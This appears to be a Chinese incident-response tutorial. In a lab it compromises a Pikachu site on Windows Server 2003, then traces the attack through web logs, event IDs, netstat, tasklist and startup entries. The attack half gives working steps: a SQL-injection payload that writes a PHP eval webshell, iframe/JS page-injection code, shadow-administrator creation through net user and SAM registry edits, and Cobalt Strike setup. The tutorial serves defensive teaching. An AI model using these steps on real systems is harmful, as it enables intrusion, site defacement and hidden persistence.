【网安-应急响应-基础记录】Windows入侵排查

目录

一、基本概念

1、什么是应急响应?

应急响应(Incident Response)就像网络空间的"消防队",它的核心是在安全事件发生后,进行有效应对和快速恢复。

你可能会问,我们如何及时发现攻击?现实是,许多攻击,尤其是利用未知漏洞(0day)的新手法,往往能绕过监测设备的规则库,因为它们看起来和正常流量无异。这时,传统的告警系统可能会失效。

应急响应的关键价值,恰恰体现在这里:当攻击不可避免地已经发生,我们能通过一套事先准备好的流程,迅速控制事态、分析原因、止损恢复,并追踪攻击来源。这不仅是为了解决眼前的问题,更是为了提升未来的防御能力。

正因为其重要性,应急响应经验也成了网络安全岗位面试中的常见问题。

2、应急响应的几个阶段

应急响应流程图:

整个应急响应工作是多人一起做的,工作大致分为如下几个阶段:

  1. 准备阶段:
    制定应急响应计划
    建立应急响应团队
    准备应急工具和资源
    制定沟通计划
    建立备份和恢复机制
    与第三方合作
    记录和文档管理
  2. 检测阶段:
    监控和识别异常
    部署检测工具
    形成安全事件报告
    确定事件输入点和时间线
    评估影响范围
    溯源攻击链路
  3. 抑制阶段:
    限制攻击范围
    关闭受损系统
    收集证据
    实施临时修复措施
    通知相关人员
    监控和评估
    记录和报告
  4. 根除阶段:【各部门协调实施】
    分析恶意行为
    彻底清除恶意代码
    修复漏洞
    恢复系统完整性
    验证清除效果
    记录和报告
    制定预防措施
  5. 恢复阶段:【各部门协调实施】
    恢复系统和服务
    验证系统完整性
    更新和加固系统
    恢复数据
    重新部署安全措施
    监控和评估
    记录和报告
    制定和更新恢复计划
  6. 跟进阶段:【各部门协调实施】
    审计和验证
    总结和报告
    经验教训
    调整安全策略
    培训和教育
    加强监控和防御
    改进应急响应计划
    溯源(有损失的话通过正规渠道定损追责)

二、环境配置

1、环境信息

名称
操作系统 Windows Server 2003
中间件 phpStudy 2016
PHP版本 5.4.45
Apache 2.4

2、开启日志

Step1 :打开phpstudy,打开apache的配置文件

Step2 :按CTRL+F打开查找对话框,并搜索customlog

将前面的##删除并保存,如图中的效果那样。

Step3:务必重启phpstudy,方可查看日志内容

查看日志文件的路径为:

phpStudy\PHPTutorial\Apache\logs 或者 C:\phpStudy\Apache\logs ,文件名access.log

3、部署pikachu

(1)部署地址

bash 复制代码
C:\phpStudy\WWW\pikachu

(2)安装pikachu

Step1:在数据库中新建pikachu数据库;
Step2:自定义修改inc/config.inc.php文件里面的参数;
Step3:访问如下安装地址后点击"安装/初始化"按钮;并提示安装成功

bash 复制代码
http://192.168.179.144:90/pikachu/install.php

三、攻击实施------植入WebShell

1、网站挂马

Step1:通过sql注入,写入一句话木马从而getshell,控制主机

通过sql注入可以获得数据库的所有数据:xx' or 1=1 #

那么接下来可以通过outfile函数直接写入一句话木马:

bash 复制代码
# 直接复制这一段到输入框中
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"C:\\phpStudy\\WWW\\pikachu\\1.php" #

完整的payload:

bash 复制代码
select 1,2 from table where id='
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"C:\\phpStudy\\WWW\\pikachu\\1.php" #
';

最终的结果就是:往C:\phpStudy\WWW\pikachu路径下写入了一个1.php的文件,文件内容是数据库语法select查询的相关内容<?php @eval($_POST['zone']);?> 2

注意:利用SQL注入的方式植入一句话木马需满足如下条件:

bash 复制代码
outfile/dumpfile读写文件 mysql读写文件的前提:
1、知道站点的具体绝对路径
2、mysql的配置中配置了secure_file_priv="" 双引号就表示默认开启
3、用户拥有物理路径的写入权限
4、mysql最好有root权限

条件234都不是我们能控制的,但是条件1是可以做到的:如何获得后台真实物理路径。

扩展:什么情况下可以写入webshell,以及webshell如何去修复的方式。以及应对策略

bash 复制代码
1、 收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
2、 站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息
3、 指纹信息收集,默认站点目录
nginx默认站点目录: /usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache默认站点目录:/var/www/html,配置文件路径:/etc/httpd/conf/httpd.conf
...
如果信息收集的时候收集到CMS的指纹信息,即可尝试写入。例如:
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"/usr/share/nginx/html/1.php" #
4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞,针对php的站
点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
5、其他思路,反正就是不断的尝试。

Step2 :蚁剑获取webshell


Step3:网站挂马

方式1:框架挂马

bash 复制代码
<iframe src=https://www.4399.com width=500 height=500></iframe>
把这段代码放进代码中去。

方式2:js挂马:把这个代码写入到js文件中去(更加隐蔽)

bash 复制代码
document.write("<iframe width=0 height=0 src=https://www.4399.com></iframe>")
上面的代码保存为xxx.js
index.php引用xxx.js
<script lnguage=javascript src=xxx.js></script>

编辑index.php,在代码最后添加一行(选择了方式1)

bash 复制代码
<iframe src=https://www.4399.com width=500 height=500></iframe>

最终效果:

所挂网站是4399,这仅为示例。如果真实网站被入侵,很可能就会被挂载赌博、色情等非法的网站,或者再挂一个木马,窃取用户信息。

2、设置影子用户

Step1 :添加影子用户作为后门

从图中可以看到,目前webshell所拿到的权限为管理员,则无需进行提权处理,后续可进行添加用户的操作,具体如下:

bash 复制代码
# 查看主机上有存在的用户
C:> net user
# 添加zone$用户,此为影子用户
C:> net user zone$ /add
# 查看zone$用户的信息,默认情况下,新增用户的本地组成员为Users,而非Administrators
C:> net user zone$
# 将zone加入到Administrators组,提高其用户权限
C:> net localgroup Administrators zone$ /add
# 给zeno用户设置密码
C:> net user zone$ 123456

Step2 :远程登录zone$用户

备注:后续操作均在zone$用户下进行操作!!

Step3:打开"计算机管理",查看影子用户的存在性

在打开"计算机管理"前,在命令行中使用命令查看zone$用户是否存在。

显然,通过net user命令并未看到zone$的存在,这是影子用户具有的隐蔽性。接下来,到"计算机管理"查看是否存在该用户。

在"计算机管理"中,看到了zone$这个影子用户的存在。但依然不够隐秘,继续后续操作加深隐秘性,让一般人很难察觉。

Step4:打开注册表(WIN+R,输入regedit),并设置SAM的权限

Windows管理用户的注册表键值:

bash 复制代码
HKEY_LOCAL_MACHINE\SAM\SAM

右键点击最里面一层的 sam,选择"权限"

将完全控制勾选上,点击确定

Step5:替换zone$的数组为Administrator

Windows管理用户的注册表键值:

bash 复制代码
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

在SAM/Domains/Account/Users/Names处,选择Administrator用户。在右侧的键值处可以找到对应的值如0x1f4,然后从左侧的Users目录下可以找到对应的文件

选择000001F4,双击右侧的"F",可以看到一串数据,复制③处红色框内的数字

找到zone$对应的值,同样打开F

将zone$的值替换为Administrator的值,并点击确定

Step6:导出注册表,将zone$和00000403从注册表中右键导出

保存路径:

bash 复制代码
C:\phpStudy\WWW\pikachu\assets

Step7:将zone$用户删除

从图中可以看到,在"计算机管理"中将用户zone删除后,zone的值在注册表中也消失了。

Step8:将刚刚导出的两个文件分别双击执行,并点击"是"重新导入进注册表中

只要提示导入成功即可!

从图中可以看到,zone$已经在"计算机管理"中不存在了。

Step9:重新远程登录zone$


Step10:将注册表中SAM的权限改回来

Step11:隐藏zone$的目录

3、利用影子用户设置后门

Step1:启动CS的Server端和Client端

Server端(Kali机中运行):

bash 复制代码
$ cd /home/kali/tools/CS4.8   #切换到我们上传的CS4.8⽬录中
$ cd server                   #切换到server⽬录

#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test   #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali: 

[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
        for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth

[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050   # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d

Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到Windows2003运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

Step3 :将保存好的文件(a.exe)通过蚁剑上传至目标服务器,并运行a.exe

此时目标服务器的桌面可以监控了。

四、开始排查

1、查看网站

打开网站首页发现已经被挂马了。那么,切换到其他非主页页面是怎样的呢?

在非首页页面中并未发现挂马。发现只有主页才有挂马的痕迹,其他页面没有,也可能隐藏了

2、查看代码

(1)手动查看

主页页面代码的位置:

bash 复制代码
C:\phpStudy\WWW\pikachu\index.php

在代码最后,被写入了一个iframe标签,src就是我们主页去请求的www.4399.com。我们刚刚发现了攻击者在我们网站上植入的恶意代码(挂马)。

发现网站被挂马,先别直接删,咱们得"留一手"。

  1. 为啥不直接删除,而是先注释?
    • 攻击往往一环扣一环,直接删掉可能就断了线索,后面想追溯其他攻击就难了。
    • 注释掉既能防止它继续影响用户,又能保留现场,方便后续分析。
  2. 实际操作怎么做?
    • 比如挂的是 iframe,就先把它注释掉,页面就能正常用了。
    • 等全部检测做完、确定没有其他隐患之后,再彻底清理。
  3. 检测和抑制同时进行
    • 真实应对攻击时,一般都是一边检测、一边控制:
    • 发现一处,就先按住一处,避免影响扩大。
  4. 小心还有"隐藏款"
    • 其他页面没看到挂马,不代表真的没有。
    • 有的攻击会故意隐藏,所以必须全面排查,不能只看表面。

这么处理,既稳妥又能保住线索,不容易打草惊蛇。

(2)用seay工具查看

①为何使用工具检查​

手动翻查每个页面效率低,直接用代码审计工具可快速、全面定位问题。

②工具与方法​

使用 Seay 代码审计工具,对 pikachu 项目进行全局搜索,关键词设为 www.4399.com

③检查结果​

发现仅主页 index.php中存在该链接,其他页面未检测到匹配项,说明挂马位置较集中。

Step1 :在Seay中新建项目,即限定搜索目录

Step2 :打开"全局搜索"功能,并搜索www.4399.com,最终得到含有被植入的网站

搜索iframe同样可以得到被植入的网站。

可以确定,挂马的地方仅有index.php。后续操作需注释掉被挂马的源代码或者清理掉!

3、查看WEB日志

Step1:找到日志路径

bash 复制代码
C:\phpStudy\Apache\logs\access.log

Step2 :查找日志,发现最近的恶意日志

日志内容(节选的恶意日志):

bash 复制代码
192.168.179.1 - - [21/Apr/2026:10:23:03 +0800] "GET /pikachu/vul/sqli/sqli_str.php HTTP/1.1" 200 33603
192.168.179.1 - - [21/Apr/2026:10:23:13 +0800] "GET /pikachu/vul/sqli/sqli_str.php?name=xx%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33852
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100
192.168.179.1 - - [21/Apr/2026:10:41:09 +0800] "POST /pikachu/1.php HTTP/1.1" 200 374
192.168.179.1 - - [21/Apr/2026:10:41:19 +0800] "POST /pikachu/1.php HTTP/1.1" 200 72
192.168.179.1 - - [21/Apr/2026:10:41:28 +0800] "POST /pikachu/1.php HTTP/1.1" 200 713
192.168.179.1 - - [21/Apr/2026:10:41:35 +0800] "POST /pikachu/1.php HTTP/1.1" 200 68
192.168.179.1 - - [21/Apr/2026:10:41:41 +0800] "POST /pikachu/1.php HTTP/1.1" 200 65
192.168.179.1 - - [21/Apr/2026:12:31:26 +0800] "POST /pikachu/1.php HTTP/1.1" 200 899
192.168.179.1 - - [21/Apr/2026:12:31:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 385
192.168.179.1 - - [21/Apr/2026:12:31:29 +0800] "POST /pikachu/1.php HTTP/1.1" 200 706
192.168.179.1 - - [21/Apr/2026:12:31:52 +0800] "POST /pikachu/1.php HTTP/1.1" 200 709
192.168.179.1 - - [21/Apr/2026:12:32:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 16
192.168.179.1 - - [21/Apr/2026:12:32:44 +0800] "POST /pikachu/1.php HTTP/1.1" 200 19
192.168.179.1 - - [21/Apr/2026:12:50:09 +0800] "POST /pikachu/1.php HTTP/1.1" 500 -

接下来对日志行为进行逐条分析。

Step3:日志分析1

bash 复制代码
192.168.179.1 - - [21/Apr/2026:10:23:13 +0800] "GET /pikachu/vul/sqli/sqli_str.php?name=xx%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33852

URL在线解码地址:

bash 复制代码
https://toolb.cn/urlencode
bash 复制代码
%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2

解析为:

union select "<?php @eval($_POST['zone']);?>",2 into outfile "C:\\phpStudy\\WWW\\pikachu\\1.php" #

恶意日志记录:

bash 复制代码
时间:2026.04.21 10:23:13
恶意IP:192.168.179.1
访问地址:/pikachu/vul/sqli/sqli_str.php?
请求类型:GET
行为分析:利用SQL注入,在路径C:\\phpStudy\\WWW\\pikachu\\1.php中写入了个1.php

Step4:日志分析2

bash 复制代码
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100

恶意日志记录:

bash 复制代码
时间:2026.04.21 10:32:04
恶意IP:192.168.179.1
访问地址:/pikachu/1.php
请求类型:POST
行为分析:攻击者执行利用了1.php执行了POST请求,可能在利用webshell

Step5:日志分析3

bash 复制代码
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100
192.168.179.1 - - [21/Apr/2026:10:41:09 +0800] "POST /pikachu/1.php HTTP/1.1" 200 374
192.168.179.1 - - [21/Apr/2026:10:41:19 +0800] "POST /pikachu/1.php HTTP/1.1" 200 72
192.168.179.1 - - [21/Apr/2026:10:41:28 +0800] "POST /pikachu/1.php HTTP/1.1" 200 713
192.168.179.1 - - [21/Apr/2026:10:41:35 +0800] "POST /pikachu/1.php HTTP/1.1" 200 68
192.168.179.1 - - [21/Apr/2026:10:41:41 +0800] "POST /pikachu/1.php HTTP/1.1" 200 65
192.168.179.1 - - [21/Apr/2026:12:31:26 +0800] "POST /pikachu/1.php HTTP/1.1" 200 899
192.168.179.1 - - [21/Apr/2026:12:31:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 385
192.168.179.1 - - [21/Apr/2026:12:31:29 +0800] "POST /pikachu/1.php HTTP/1.1" 200 706
192.168.179.1 - - [21/Apr/2026:12:31:52 +0800] "POST /pikachu/1.php HTTP/1.1" 200 709
192.168.179.1 - - [21/Apr/2026:12:32:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 16
192.168.179.1 - - [21/Apr/2026:12:32:44 +0800] "POST /pikachu/1.php HTTP/1.1" 200 19
192.168.179.1 - - [21/Apr/2026:12:50:09 +0800] "POST /pikachu/1.php HTTP/1.1" 500 -

恶意日志分析记录:

bash 复制代码
时间段:2026.04.21 10:32:04 至 2026.04.21 12:50:09
恶意IP:192.168.179.1
访问地址:/pikachu/1.php
请求类型:POST
行为分析:攻击者在此时间段内,持续利用1.php有110分钟,说明存在持续击活动

Step6 :查看本地服务器是否存在1.php恶意文件

可以看见,本地服务器中存在1.php文件,并且此文件是个一句话木马,存在恶意行为。类似于菜刀、蚁剑、冰蝎之类的程序可通过1.php拿到目标主机的权限或文件目录

4、查看系统日志

在 windows 日志中,使用 Event ID 来表示发生事件的类型,下面是一些常见事件的说明:

事件ID 事件说明
4624 登录成功
4625 登录失败
4634 注销成功
4720 创建用户
4726 删除用户
4732 用户组属变更
1102 安全日志清除
104 其他日志清除

老版本的服务器(例如:Windows 2003 server)系统的事件ID

事件ID 描述 对应新版事件ID
528 登录成功(交互式) 4624
529 登录失败(用户名/密码错误) 4625
538 用户注销 4634
540 网络登录成功(如共享访问) 4624
551 用户主动注销(如 logoff 命令) 4647
624 成功创建用户账户 4720
630 成功删除用户账户 4726

老版本的服务器(例如:Windows 2003 server)日志文件

bash 复制代码
系统日志:SysEvent.evt
安全日志:SecEvent.evt
应用程序日志:AppEvent.evt
其他自定义日志(如DNS、目录服务):也位于此目录,文件名可能类似 DNSEvent.evt 。
存放路径为:
C:\Windows\System32\config

日志查看的方式(任选一种即可)

方式1:打开事件查看器

bash 复制代码
打开方法1:此电脑 ---> 管理 ---> 事件查看器
打开方法2:win+r 打开运行窗口,输入 eventvwr.msc 即可打开

方式2:logparser日志分析工具

下载地址:

bash 复制代码
https://www.microsoft.com/en-us/download/details.aspx?id=24659

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用SQL语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来

安装完成后的路径如下:

bash 复制代码
C:\Program Files (x86)\Log Parser 2.2
旧版的Windows 2003 server 服务器的安装路径是:
C:\Program Files\Log Parser 2.2

将该路径添加到环境变量中。

bash 复制代码
我的电脑 --> 属性 --> 高级 --> 环境变量
以分号 ; 分割将logparser的安装路径加入到环境变量中

添加完成后使用 win+R 打开 powershell ,输入 LogParser.exe 进行调用

基本查询语法:

bash 复制代码
# 登录成功的所有事件
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM
C:\Windows\System32\config\SecEvent.evt where EventID=528"
# 提取登录成功的用户名和IP:
LogParser.exe -i:EVT --o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM
C:\Windows\System32\config\SecEvent.evt where EventID=528"
# 登录失败的所有事件:
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM
C:\Windows\System32\config\SecEvent.evt where EventID=529"
# 查看用户创建的日志
LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, EventTypeName,
Message FROM Security WHERE EventID=624"
# 查看用户删除的日志
LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, EventTypeName,
Message FROM Security WHERE EventID=630"

接下来进行具体的日志查看操作,具体如下:

Step1:时间点排查

根据web日志可以看出,2026.04.21 10:32:04 至 2026.04.21 12:50:09期间攻击力利用了1.php,说明攻击者在此时间段之后,在系统中所产生的日志具有分析意义。

Step2 :通过事件查看器可以看到,在2026.04.21 12:58:20时,zone$用户登录了系统。这可能是攻击者通过webshell新增的用户。

备注:应急响应没结束【检查用户、查看端口和进程、查看启动项(计划任务、服务)、查看系统信息(补丁信息)、工具查杀(条件允许,可以直接上工具)】

5、检查用户

Step1:在命令行中,利用net user查看用户列表

bash 复制代码
C:\> net user

无其它恶意用户

Step2 :查看"计算机管理"中的用户

发现有恶意用户zone$

6、查看端口、进程

Step1:获取所有网络连接及进程ID

bash 复制代码
C:> netstat -ano > C:\netstat_all.txt

运行后得到的结果:

bash 复制代码
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:81             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:82             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:83             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:84             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:85             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:86             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:90             0.0.0.0:0              LISTENING       3608
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING       436
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       1372
  TCP    0.0.0.0:2383           0.0.0.0:0              LISTENING       1444
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       3616
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1896
  TCP    10.10.10.10:139        0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       1372
  TCP    127.0.0.1:5152         0.0.0.0:0              LISTENING       1228
  TCP    192.168.179.144:139    0.0.0.0:0              LISTENING       4
  TCP    192.168.179.144:3202   192.168.179.128:1236   CLOSE_WAIT      3132
  UDP    0.0.0.0:445            *:*                                    4
  UDP    0.0.0.0:500            *:*                                    436
  UDP    0.0.0.0:1026           *:*                                    756
  UDP    0.0.0.0:1434           *:*                                    1796
  UDP    0.0.0.0:4500           *:*                                    436
  UDP    10.10.10.10:123        *:*                                    792
  UDP    10.10.10.10:137        *:*                                    4
  UDP    10.10.10.10:138        *:*                                    4
  UDP    127.0.0.1:123          *:*                                    792
  UDP    127.0.0.1:1027         *:*                                    1512
  UDP    192.168.179.144:123    *:*                                    792
  UDP    192.168.179.144:137    *:*                                    4
  UDP    192.168.179.144:138    *:*                                    4

可疑的连接:

bash 复制代码
  TCP    192.168.179.144:3202   192.168.179.128:1236   CLOSE_WAIT      3132

Step2:定位进程

根据netstat命令定位出的pid,再通过tasklist命令进行进程定位

bash 复制代码
C:> tasklist | findstr "3132"

发现进程为a.exe

Step3:溯源文件

bash 复制代码
C:> tasklist /v /fi "pid eq 3132"

暂时路径信息,尝试用如下命令:

bash 复制代码
C:> wmic process where processid=3132 get executablepath

C:> wmic process where name="a.exe" get executablepath,processid

最终得到路径,并定位到目录。此文件在对外发送信息。

此时应该将此文件关停,并保存到其它位置作为证据。

7、查看启动项、计划任务、服务

(1)检查服务器是否有异常的启动项

因某些木马都是开启自启动的,否则重启后木马默认不会启动。

检查方法:

  1. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
  2. 单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
  3. 单击【开始】> 【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
bash 复制代码
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
(默认会存在一个输入法的进程:C:\Windows\system32\ctfmon.exe)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
(默认和【运行】>msconfig查看的启动项目是一一对应的)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。
  1. 利用安全软件查看启动项、开机时间管理等。
  2. 组策略,运行gpedit.msc

(2)检查计划任务

检查方法:

  1. 单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。好多木马都是在半夜偷偷启动

  2. 单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

bash 复制代码
at 00:00 calc
at 1 /del
Windows2003以上版本使用:schtasks.exe(不需要记忆,输入at会有提示)

(3)服务自启动

检查方法:

单击【开始】>【运行】,输入services.msc

注意服务状态和启动类型,检查是否有异常服务。有时候木马会以服务的方式来启动。

8、检查系统相关信息

(1)查看系统版本以及补丁信息

单击【开始】>【运行】,输入:systeminfo

查看系统信息、补丁信息等

此系统目前已经打了7个补丁。修复得越多,漏洞利用的空间越小,系统更安全。

如果不能打补丁,可通过关闭对应的漏洞利用端口来进行防御和修复。

(2)查找可疑目录及文件

检查方法:

  1. 检查用户目录
    新建账号会生成对应的用户目录。攻击者可能删除账号,但用户目录中可能残留历史记录或异常时间戳,通过查看这些目录可发现痕迹。

Window 2003系统:

bash 复制代码
C:\Documents and Settings

新版系统存在其他的地方:

子目录 存储内容 现代系统对应位置
\All Users 全局用户共享数据 C:\ProgramData
\用户名\My Documents 个人文档 C:\Users\用户名\Documents
\用户名\Application Data 软件配置数据 C:\Users\用户名\AppData\Roaming

每创建一个用户,系统在这里都会创建一个对应名称的文件夹,自动记录一些信息。

  1. 分析最近打开分析可疑文件

单击【开始】>【运行】,输入:%UserProfile%\Recent

  1. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。

9、自动化工具

之前的操作均为手动排查,如果是条件允许,且想进一步查找因手动排查未查到的盲区,可考虑使用自动化工具。

(1)D盾

D盾是用于扫描webshell的工具。专门针对Windows系统设计的专业的webshell图形化查杀工具。

Step1 :打开D盾后,设置自定义扫描

Step2 :选择扫描路径

Step3 :扫描得到最终结果

关于D盾扫描的级别(风险级别 1-5级)的判定标准如下:

级别1:风险极低,可忽略。

级别3以上:基本可确认存在风险,建议处理。

级别5:确定存在严重风险,必须立即清除。

(2)各种安全软件(360、火绒、瑞星、金山毒霸等)

此处无需在赘述。

相关推荐
Bruce_Liuxiaowei2 小时前
Windows防火墙规则导出工具:让安全配置可备份、可迁移、可审计
运维·windows·安全·网络安全
x***r1513 小时前
Postman-win64-7.3.5-Setup安装步骤详解(附接口测试入门教程)
windows
无名咸鱼3 小时前
cursor节省token工具-RTK (windows安装)
windows
dLYG DUMS4 小时前
SQLMAP的下载安装和使用(Windows)
windows
十五年专注C++开发5 小时前
MobaXterm:Windows 远程工作全能工具箱
linux·windows·mobaxterm
Y学院5 小时前
虚拟机安装ParrotOS完整教程(VMware+VirtualBox双版本)
安全·网络安全
eRRA OFAG7 小时前
Windows 上彻底卸载 Node.js
windows·node.js
程序猿编码7 小时前
给Linux程序穿“隐身衣”——ELF运行时加密器全解析(C/C++代码实现)
linux·c语言·c++·网络安全·elf·内存安全
一名优秀的码农7 小时前
vulhub系列-74-Hackable III(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析